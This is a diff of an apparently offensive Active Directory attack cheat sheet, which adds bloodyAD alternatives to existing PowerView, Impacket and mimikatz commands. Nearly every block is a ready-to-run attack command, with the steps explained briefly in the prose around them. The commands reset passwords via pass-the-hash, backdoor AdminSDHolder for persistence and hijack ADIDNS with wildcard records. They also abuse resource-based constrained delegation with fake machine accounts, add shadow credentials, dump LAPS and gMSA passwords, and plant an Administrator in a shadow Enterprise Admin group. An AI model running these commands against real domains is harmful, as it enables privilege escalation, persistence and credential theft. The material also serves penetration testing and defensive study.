||||||
```bash
|
```ps1
|
||||||
# Using rpcclient from the Samba software suite
|
# Using rpcclient from the Samba software suite
|
||||||
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
||||||
|
|
||||||
# Using bloodyAD with pass-the-hash
|
|
||||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -8,9 +8,11 @@ If you do not want modified ACLs to be overwritten every hour, you should change
|
||||||
|
|
||||||
Find users with `AdminCount=1`.
|
Find users with `AdminCount=1`.
|
||||||
|
|
||||||
```powershell
|
```ps1
|
||||||
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
|
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
|
||||||
# or
|
# or
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get search --filter '(admincount=1)' --attr sAMAccountName
|
||||||
|
# or
|
||||||
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
|
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
|
||||||
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
|
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
|
||||||
# or
|
# or
|
||||||
|
@ -27,8 +29,15 @@ Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
|
||||||
|
|
||||||
If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour).
|
If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour).
|
||||||
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
|
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 add genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john
|
||||||
|
|
||||||
```powershell
|
# Clean up after
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 remove genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
# Add a user to the AdminSDHolder group:
|
# Add a user to the AdminSDHolder group:
|
||||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
|
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
|
||||||
|
|
||||||
|
@ -47,6 +56,11 @@ Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccount
|
||||||
:warning: Require privileges to restart the DNS service.
|
:warning: Require privileges to restart the DNS service.
|
||||||
|
|
||||||
* Enumerate members of DNSAdmins group
|
* Enumerate members of DNSAdmins group
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object DNSAdmins --attr msds-memberTransitive
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
```ps1
|
```ps1
|
||||||
Get-NetGroupMember -GroupName "DNSAdmins"
|
Get-NetGroupMember -GroupName "DNSAdmins"
|
||||||
Get-ADGroupMember -Identity DNSAdmins
|
Get-ADGroupMember -Identity DNSAdmins
|
||||||
|
@ -86,6 +100,11 @@ This groups grants the following privileges :
|
||||||
- SeRestore privileges
|
- SeRestore privileges
|
||||||
|
|
||||||
* Get members of the group:
|
* Get members of the group:
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object "Backup Operators" --attr msds-memberTransitive
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
```ps1
|
```ps1
|
||||||
PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||||
```
|
```
|
||||||
|
|
|
@ -44,6 +44,16 @@ RODCs are an alternative for Domain Controllers in less secure physical location
|
||||||
When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.
|
When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.
|
||||||
|
|
||||||
* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute
|
* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
# Get original msDS-RevealOnDemandGroup values
|
||||||
|
bloodyAD --host 10.10.10.10 -d domain.local -u username -p pass123 get object 'RODC$' --attr msDS-RevealOnDemandGroup
|
||||||
|
distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
|
||||||
|
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local
|
||||||
|
# Add the previous value plus the admin account
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 set object 'RODC$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local'
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
```ps1
|
```ps1
|
||||||
PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
|
PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
|
||||||
```
|
```
|
||||||
|
|
|
@ -2,17 +2,25 @@
|
||||||
|
|
||||||
ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.
|
ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.
|
||||||
|
|
||||||
* Enumerate all records using [dirkjanm/adidnsdump](https://github.com/dirkjanm/adidnsdump)
|
* Enumerate all records
|
||||||
```ps1
|
```ps1
|
||||||
adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
|
adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
|
||||||
|
# or
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 get dnsDump
|
||||||
```
|
```
|
||||||
* Query a node using [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx)
|
* Query a node
|
||||||
```ps1
|
```ps1
|
||||||
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
|
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
|
||||||
|
# or
|
||||||
|
bloodyAD -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'DC=DomainDnsZones,DC=bloody,DC=lab' --filter '(&(name=allmightyDC)(objectClass=dnsNode))' --attr dnsRecord
|
||||||
```
|
```
|
||||||
* Add a node and attach a record
|
* Add a node and attach a record
|
||||||
```ps1
|
```ps1
|
||||||
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
|
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
|
||||||
|
# or
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 add dnsRecord dc1.example.lab <Attacker IP>
|
||||||
|
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 remove dnsRecord dc1.example.lab <Attacker IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.
|
The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.
|
||||||
|
|
|
@ -3,7 +3,15 @@
|
||||||
> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
|
> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
|
||||||
|
|
||||||
**Requirements**:
|
**Requirements**:
|
||||||
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
|
* Accounts with the attribute **DONT_REQ_PREAUTH**
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
|
PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
|
||||||
|
```
|
||||||
|
|
||||||
* [Rubeus](https://github.com/GhostPack/Rubeus)
|
* [Rubeus](https://github.com/GhostPack/Rubeus)
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -82,7 +90,15 @@ The technique is fully explained in this article: [Semperis blog post](https://w
|
||||||
Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
|
Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
|
||||||
|
|
||||||
**Requirements**:
|
**Requirements**:
|
||||||
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
|
* Accounts with the attribute **DONT_REQ_PREAUTH**
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
|
PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
|
||||||
|
```
|
||||||
|
|
||||||
* using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679)
|
* using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679)
|
||||||
```bash
|
```bash
|
||||||
|
|
|
@ -29,7 +29,15 @@ ls \\service2.test.local\c$
|
||||||
```
|
```
|
||||||
|
|
||||||
**Attack #2** - Write Permissions to one or more objects in the AD
|
**Attack #2** - Write Permissions to one or more objects in the AD
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d test.local --host 10.100.10.5 add computer AttackerService 'AttackerServicePassword'
|
||||||
|
bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d test.local add rbcd 'Service2$' 'AttackerService$'
|
||||||
|
|
||||||
|
# Execute the attack
|
||||||
|
getST.py -spn cifs/Service2.test.local -impersonate User2 -dc-ip 10.100.10.5 -force-forwardable 'test.local/AttackerService$:AttackerServicePassword'
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
```powershell
|
```powershell
|
||||||
# Create a new machine account
|
# Create a new machine account
|
||||||
Import-Module .\Powermad\powermad.ps1
|
Import-Module .\Powermad\powermad.ps1
|
||||||
|
@ -44,7 +52,7 @@ Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
|
||||||
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
|
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
|
||||||
|
|
||||||
# Execute the attack
|
# Execute the attack
|
||||||
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
|
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable
|
||||||
|
|
||||||
# Load the ticket
|
# Load the ticket
|
||||||
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
|
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
|
||||||
|
|
|
@ -12,6 +12,10 @@
|
||||||
Get-DomainComputer -TrustedToAuth | select -exp dnshostname
|
Get-DomainComputer -TrustedToAuth | select -exp dnshostname
|
||||||
Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
|
Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
|
||||||
```
|
```
|
||||||
|
* bloodyAD:
|
||||||
|
```ps1
|
||||||
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto
|
||||||
|
```
|
||||||
|
|
||||||
## Exploit the Constrained Delegation
|
## Exploit the Constrained Delegation
|
||||||
|
|
||||||
|
|
|
@ -19,12 +19,18 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012.
|
||||||
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
|
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
|
||||||
$ACE
|
$ACE
|
||||||
ConvertFrom-SID $ACE.SecurityIdentifier
|
ConvertFrom-SID $ACE.SecurityIdentifier
|
||||||
|
|
||||||
|
# alternative (Windows/Linux)
|
||||||
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get writable --otype COMPUTER --detail | egrep -i 'distinguishedName|msds-allowedtoactonbehalfofotheridentity'
|
||||||
```
|
```
|
||||||
|
|
||||||
3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it
|
3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
|
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
|
||||||
|
|
||||||
|
# alternative (Windows/Linux)
|
||||||
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add computer swktest 'Weakest123*'
|
||||||
```
|
```
|
||||||
|
|
||||||
4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties
|
4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties
|
||||||
|
@ -38,6 +44,10 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012.
|
||||||
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
|
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
|
||||||
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
|
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
|
||||||
$Descriptor.DiscretionaryAcl
|
$Descriptor.DiscretionaryAcl
|
||||||
|
|
||||||
|
# alternative (Windows/Linux)
|
||||||
|
# use 'remove' instead of 'add' after exploit
|
||||||
|
bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d crash.lab add rbcd 'dc01-ww2$' 'swktest$'
|
||||||
```
|
```
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
|
|
|
@ -30,6 +30,10 @@ Check the `TRUSTED_FOR_DELEGATION` property.
|
||||||
# From https://github.com/samratashok/ADModule
|
# From https://github.com/samratashok/ADModule
|
||||||
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
||||||
```
|
```
|
||||||
|
* [bloodyAD](https://github.com/CravateRouge/bloodyAD)
|
||||||
|
```ps1
|
||||||
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' --attr sAMAccountName,userAccountControl
|
||||||
|
```
|
||||||
|
|
||||||
* [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
* [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||||
```powershell
|
```powershell
|
||||||
|
|
|
@ -2,6 +2,11 @@
|
||||||
|
|
||||||
There are 3-4 fields that seem to be common in most Active Directory schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.
|
There are 3-4 fields that seem to be common in most Active Directory schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.
|
||||||
|
|
||||||
|
* Windows/Linux command
|
||||||
|
```ps1
|
||||||
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,description
|
||||||
|
```
|
||||||
|
|
||||||
* Password in User Description
|
* Password in User Description
|
||||||
```powershell
|
```powershell
|
||||||
crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
|
crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
|
||||||
|
|
|
@ -22,6 +22,11 @@
|
||||||
crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....'
|
crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....'
|
||||||
```
|
```
|
||||||
|
|
||||||
|
* [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD)
|
||||||
|
```ps1
|
||||||
|
bloodyAD --host 10.10.10.10 -d crash.lab -u john -p 'Pass123*' get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword
|
||||||
|
```
|
||||||
|
|
||||||
* [rvazarkar/GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
|
* [rvazarkar/GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
|
||||||
```ps1
|
```ps1
|
||||||
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
|
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
|
||||||
|
|
|
@ -17,7 +17,10 @@ Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
|
||||||
### Extract LAPS password
|
### Extract LAPS password
|
||||||
|
|
||||||
> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
|
> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
|
||||||
|
- Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
|
||||||
|
```
|
||||||
- From Windows:
|
- From Windows:
|
||||||
|
|
||||||
* adsisearcher (native binary on Windows 8+)
|
* adsisearcher (native binary on Windows 8+)
|
||||||
|
|
|
@ -12,7 +12,11 @@
|
||||||
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object
|
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object
|
||||||
|
|
||||||
**Exploitation**:
|
**Exploitation**:
|
||||||
|
- Windows/Linux
|
||||||
|
```ps1
|
||||||
|
bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody add shadowCredentials targetpc$
|
||||||
|
bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody remove shadowCredentials targetpc$ --key <key from previous output>
|
||||||
|
```
|
||||||
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
|
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
|
||||||
```powershell
|
```powershell
|
||||||
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
|
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
|
||||||
|
|
|
@ -34,6 +34,11 @@ If we compromise the bastion we get `Domain Admins` privileges on the other doma
|
||||||
* Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...)
|
* Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...)
|
||||||
* Using SID History
|
* Using SID History
|
||||||
* Persistence
|
* Persistence
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD --host 10.1.0.4 -u john.doe -p 'Password123!' -d bloody add groupMember 'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local' Administrator
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
```ps1
|
```ps1
|
||||||
# Add a compromised user to the group
|
# Add a compromised user to the group
|
||||||
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}
|
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}
|
||||||
|
|
Loading…
Reference in New Issue